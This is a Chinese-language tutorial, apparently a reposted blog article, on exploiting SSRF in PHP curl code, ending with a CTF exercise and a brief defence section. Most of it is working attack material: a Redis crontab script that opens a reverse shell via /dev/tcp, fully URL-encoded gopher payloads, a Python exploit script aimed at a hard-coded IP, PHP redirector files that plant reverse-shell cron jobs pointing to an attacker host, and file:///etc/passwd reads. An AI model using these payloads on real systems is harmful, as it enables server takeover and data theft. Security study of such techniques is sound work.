SSRF漏洞分析与利用

http://www.91ri.org/17111.html

前言：总结了一些常见的姿势，以PHP为例，先上一张脑图，划√的是本文接下来实际操作的

0x01 漏洞产生

以curl为例，漏洞代码为ssrf.php

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&lt;?php 

$ch = curl_init(); 

curl_setopt($ch, CURLOPT_URL, $_GET['url']); 
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_HEADER, 0); 
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);

curl_exec($ch); 

curl_close($ch); 

?&gt;
 

0x02 利用方式

首先查看curl的版本和该版本支持的协议

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[root@localhost
html]#  curl
-V

curl
7.29.0
(x86_64-redhat-linux-gnu)
libcurl/7.29.0
NSS/3.21
Basic
ECC
zlib/1.2.7


libidn/1.28
libssh2/1.4.3

Protocols:
dict
file
ftp
ftps
gopher
http
https
imap
imaps
ldap
ldaps
pop3
pop3s
rtsp


scp
sftp
smtp
smtps
telnet
tftp


Features:
AsynchDNS
GSS-Negotiate
IDN
IPv6
Largefile
NTLM
NTLM_WB
SSL
libz
unix-

sockets

 

可以看到该版本的curl支持很多协议，其中gopher协议、dict协议、file协议、http/s协议用的比较多
ps：上面的漏洞代码ssrf.php没有屏蔽回显，所以利用姿势比较多

gopher：gopher协议支持发出GET、POST请求：可以先截获get请求包和post请求包，再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议。
先监听本地2333端口，然后利用gopher协议访问

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[root@localhost ~]# nc -l -vv 2333

Ncat: Version 6.40 ( http://nmap.org/ncat )

Ncat: Listening on :::2333

Ncat: Listening on 0.0.0.0:2333

Ncat: Connection from 127.0.0.1.

Ncat: Connection from 127.0.0.1:47726
 

[root@localhost html]# curl -v 'http://127.0.0.1/ssrf.php?

url=gopher://127.0.0.1:2333/_test'
 

[root@localhost ~]# nc -l -vv 2333

Ncat: Version 6.40 ( http://nmap.org/ncat )

Ncat: Listening on :::2333

Ncat: Listening on 0.0.0.0:2333

Ncat: Connection from 127.0.0.1.

Ncat: Connection from 127.0.0.1:47726.
test

可以看到数据发送了。一开始感觉反弹传输数据没多大用，后来看了gopher和dict攻击redis和脆弱的内网应用的exp才明白

dict：因为ssrf.php的漏洞代码有回显，所以浏览器直接访问

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http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:6379/info

即可看到redis的相关配置。

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http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:ssh端口/info

即可看到ssh的banner信息
如果ssrf.php中加上一行屏蔽回显的代码“curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);”，那么这种方式就失效了，和gopher一样，只能利用nc监听端口，反弹传输数据了。

file：因为ssrf.php的漏洞代码有回显，所以浏览器直接访问

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http://4o4notfound.org/ssrf.php?url=file:///etc/passwd

即可看到很多不可描述的东西。同理，如果屏蔽回显，该协议就废了

http/s：主要用来探测内网服务。根据响应的状态判断内网端口及服务，可以结合java系列0day和其他各种0day使用

0x03 攻击应用

主要攻击redis、discuz、fastcgi、memcache、内网脆弱应用这几类应用，这里以redis为例，分别利用gopher协议和dict协议getshell
首先要了解redis的getshell的exp写成的bash shell：

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echo -e "\n\n*/1 * * * * bash -i &gt;&amp; /dev/tcp/127.0.0.1/2333 0&gt;&amp;1\n\n"|redis-cli -h $1 

-p $2 -x set 1 

redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config 

set dbfilename root 

redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit

执行命令bash shell.sh 127.0.0.1 6379，就在redis里面写了一个键值对的定时任务（利用crontab），可以反弹shell。
gopher利用：这部分三叶草的joychou师傅说的很详细，可以看ssrf in php。
这里为了构造符合gopher协议的访问请求，首先要获取bash脚本对redis发出的访问请求，要用socat进行端口转发，转发命令为：

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socat
-v
tcp-listen:4444,fork
tcp-connect:localhost:6379

意思是将访问4444端口的流量转发到6379端口。也就是如果我们的bash脚本请求的是4444端口，仍然访问的是6379的redis，相当于一个中转
执行命令：

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bash shell.sh 127.0.0.1 4444

socat就获取到了shell.sh对redis发出的请求（这里贴出来部分请求）：

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[root@localhost
cron]#
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

&gt;
2017/05/25
07:16:51.991865  length=18
from=0
to=17

*1\r

$8\r

flushall\r

&lt;
2017/05/25
07:16:51.992468  length=5
from=0
to=4

+OK\r

&gt;
2017/05/25
07:16:51.995872  length=83
from=0
to=82

*3\r

$3\r

set\r

$1\r

1\r

$56\r

*/1
*
*
*
*
bash
-i
&gt;&amp;
/dev/tcp/127.0.0.1/2333
0&gt;&amp;1

\r

&lt;
2017/05/25
07:16:51.996065  length=5
from=0
to=4

+OK\r

&gt;
2017/05/25
07:16:51.998777  length=57
from=0
to=56

*4\r

$6\r

改成适配gopher协议的url：

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gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0

a*/1 * * * * bash -i &gt;&amp; /dev/tcp/127.0.0.1/2333 

0&gt;&amp;1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0ad

ir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$

10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aq

uit%0d%0a

再进行urlencode，得到payload：

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gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d

%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20

bash%20-

i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d

%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250

a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250

d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilen

ame%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2

A1%250d%250a%244%250d%250aquit%250d%250a

最终的攻击poc为：

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curl -v 'http://127.0.0.1/ssrf.php?
url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%
250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2
A%20bash%20-
i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d
%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250
a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250
d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilen
ame%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2
A1%250d%250a%244%250d%250aquit%250d%250a'

执行即可在/var/spool/cron/下生成一个名为root的定时任务，任务为反弹shell

dict利用：dict协议有一个功能：dict://serverip:port/name:data 向服务器的端口请求 name data，并在末尾自动补上rn(CRLF)。也就是如果我们发出dict://serverip:port/config:set:dir:/var/spool/cron/的请求，redis就执行了config set dir /var/spool/cron/ rn.用这种方式可以一步步执行redis getshell的exp，执行完就能达到和gopher一样的效果。原理一样，但是gopher只需要一个url请求即可，dict需要步步构造。
利用猪猪侠的wooyun上公开的脚本改成适配本文的脚本ssrf.py：

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import
requests

host
=
'104.224.151.234'

port
=
'6379'

bhost
=
'www.4o4notfound.org'

bport=2333

vul_httpurl
=
'http://www.4o4notfound.org/ssrf.php?url='

_location
=
'http://www.4o4notfound.org/302.php'

shell_location
=
'http://www.4o4notfound.org/shell.php'

#1
flush db

_payload
=
'?s=dict%26ip={host}%26port={port}%26data=flushall'.format(
host
=
host,

port
=
port)

exp_uri
=
'{vul_httpurl}{0}{1}'.format(_location,
_payload,
vul_httpurl=vul_httpurl)

print
exp_uri

print
requests.get(exp_uri).content

#set
crontab command

_payload
=
'?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport=

{bport}'.format(
host
=
host,
port
=
port,
bhost
=
bhost,
bport
=
bport)

exp_uri
=
'{vul_httpurl}{0}{1}'.format(shell_location,
_payload,

vul_httpurl=vul_httpurl)

print
exp_uri


print
requests.get(exp_uri).content

#confg
set dir

_payload='?s=dict%26ip={host}%26port=

{port}%26data=config:set:dir:/var/spool/cron/'.format(
host
=
host,
port
=
port)

exp_uri
=
'{vul_httpurl}{0}{1}'.format(_location,
_payload,
vul_httpurl=vul_httpurl)

print
exp_uri

print
requests.get(exp_uri).content

#config
set dbfilename

_payload='?s=dict%26ip={host}%26port=

{port}%26data=config:set:dbfilename:root'.format(
host
=
host,
port
=
port)

exp_uri
=
'{vul_httpurl}{0}{1}'.format(_location,
_payload,

vul_httpurl=vul_httpurl)

print
exp_uri

print
requests.get(exp_uri).content

#save

_payload='?s=dict%26ip={host}%26port={port}%26data=save'.format(
host
=
host,
port

=
port)

exp_uri
=
'{vul_httpurl}{0}{1}'.format(_location,
_payload,

vul_httpurl=vul_httpurl)

print
exp_uri

print
requests.get(exp_uri).content

 

因为curl默认不支持302跳转，而该脚本要用到302跳转，所以需要在ssrf.php中加上一行“curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1)”来支持跳转。302.php代码为：

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&lt;?php

$ip = $_GET['ip'];

$port = $_GET['port'];

$scheme = $_GET['s'];

$data = $_GET['data'];

header("Location: $scheme://$ip:$port/$data"); ?&gt;

shell.php主要用于写入用于反弹shell的crontab的定时任务，代码为：

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&lt;?php

$ip
=
$_GET['ip'];

$port
=
$_GET['port'];

$bhost
=
$_GET['bhost'];

$bport
=
$_GET['bport'];

$scheme
=
$_GET['s'];

header("Location:
$scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-

i\\x20&gt;\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200&gt;\\x261\\x0a\\x0a\\x0a\"");
?&gt;

执行ssrf.py,即可在/var/spool/cron/下写入定时任务，反弹shell，nc等待接收shell

0x04 绕过与防御

绕过:可以使用www.ip.xip.io或者www.ip.xip.io代替ip可以绕过部分过滤
防御：限制协议为HTTP、HTTPS

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curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);

禁止30x跳转

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删掉curl_setopt($ch,
CURLOPT_FOLLOWLOCATION,
1);

设置白名单或限制内网ip

0x05 例题

一道ctf题目，有两个文件：ssrf3.php和flag.php
题目意思是flag只能127.0.0.1访问，还进行了post验证，这就需要gopher提交post数据来绕过
curl设置了302跳转，所以可以把302.php放在自己的vps上进行跳转.
首先获取访问flag.php的post请求：

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POST /flag.php HTTP/1.1

Host: 192.168.154.130

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 14
 

username=admin

因为只有一台机器，所以我直接将Host改成了127.0.0.1,再改成符合gopher协议的请求，写入302.php。
302.php内容为

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header("Location:gopher://127.0.0.1:80/_POST
/flag.php HTTP/1.1%0d%0aHost: 

127.0.0.1%0d%0aUser-Agent:
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) 

Gecko/20100101
Firefox/50.0%0d%0aAccept: 

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8%0d%0aAccept-Language:

zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3%0d%0aAccept-Encoding:
gzip, 

deflate%0d%0aConnection:
keep-alive%0d%0aUpgrade-Insecure-Requests: 1%0d%0aContent-

Type:
application/x-www-form-urlencoded%0d%0aContent-Length: 

14%0d%0a%0d%0ausername=admin");

流程就是在ssrf3.php提交http://www.myvpsip.xip.io/302.php,然后漏洞机器会访问302.php，然后跳转，利用gopher协议，自己访问自己的flag.php同时提交username=admin的post数据。flag可以在ssrf3.php的页面源代码中看到。
因为都是一台机器在操作，但应该不是紫薇吧.ps:改装成符合gopher协议的get、post类型请求还是要小心的
如有错误，请务必指正。

参考

https://_thorns.gitbooks.io/sec/content/ssrf_tips.html
https://_thorns.gitbooks.io/sec/content/xiao_mi_mou_chu_ssrf_lou_6d1e28_ke_nei_wang_shell_.html
https://blog.chaitin.cn/gopher-attack-surfaces/#h5_%E6%9B%B4%E5%A4%9A%E6%94%BB%E5%87%BB%E9%9D%A2
http://vinc.top/2016/11/24/%E3%80%90ssrf%E3%80%91ssrfgopher%E6%90%9E%E5%AE%9A%E5%86%85%E7%BD%91%E6%9C%AA%E6%8E%88%E6%9D%83redis/
http://blog.feei.cn/ssrf/
http://joychou.org/index.php/web/phpssrf.html